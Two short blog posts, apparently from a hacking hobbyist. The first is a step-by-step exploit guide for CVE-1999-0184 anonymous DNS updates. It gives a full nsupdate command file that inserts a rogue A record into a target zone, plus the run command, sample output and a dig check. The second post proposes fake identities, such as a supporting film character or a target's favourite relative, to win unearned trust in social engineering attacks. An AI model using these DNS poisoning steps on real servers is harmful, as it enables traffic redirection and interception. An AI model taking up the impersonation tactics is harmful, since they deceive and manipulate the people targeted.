Exploiting CVE-1999-0184 DNS Poisoning

Yes this CVE is old, but I keep seeing it and there is no real tool or exploit guides available so I thought I would make one up right quick.

This "guide" is for Kali 2 and the basics of whats going on is the target DNS server allows anonymous DNS updates. The one tool we will need is nsupdate. If its not already on your system you can just run apt.

apt-get install dnsutils

Now we will need to start with a file that has all our commands in it. It should look something like this:

server 1.2.3.4 #our target DNS server 

zone corp.company.com #the zone we are working in. 

update delete evil.corp.company.com. A #rm just in case. 

update add evil.corp.company.com. 86400 IN A 2.2.2.2 

show 

send

Save the file as dns. Now just run the following command:

nsupdate -v dns

nsupdate should read all the commands in the dns file and send them to our target DNS server. After a few seconds you should see something similar to this:

Outgoing update query:

;; ->>HEADER<<- i="" id:="" nbsp="" noerror="" opcode:="" status:="" update="">

;; flags:; ZONE: 0, PREREQ: 0, UPDATE: 0, ADDITIONAL: 0

;; ZONE SECTION:

;corp.company.com. IN SOA

;; UPDATE SECTION:

evil.corp.company.com. 0 ANY A

evil.corp.company.com. 86400 IN A 2.2.2.2

Now just run a quick DiG query to make sure it worked.

dig @1.2.3.4 A evil.corp.company.com 

That is all I have for this post. Happy hacking :)

Using famous fake names

A while ago I was at a stl2600 meeting and the topic was using fake identities of famous people for online services and events IRL as a way to protect your real identity and be easy to remember for you. They gave a number of great examples and even links to sites to help come up with the fake ID.

To expand on that idea I suggested there might be a social engineering impact if you choose your alias wisely. Like using the name from a positive supporting character in a movie, people might be more likely not to question you, and even allow you privileges they might not other wise presumably because they associate you with this character subconsciously.

The reason I suggest using a support character and not a main one is because people are more likely to have better recall of a leading character, the idea is to use a name that is linked to positive feelings that someone cant quite put their finger on, hopefully allowing that feeling of trust to be lent to anyone with that name or ones that sound similar.

Under a more targeted social engineering attack you might use the name of a favorite sibling, or relative. Yes the target will pick up on this right away but hopefully the years of trust the target associates with the ID you choose will be lent to you with out the target knowing they are doing so. Results will vary of course. What are your thoughts? Have you done something like this and it worked? Tells us about it.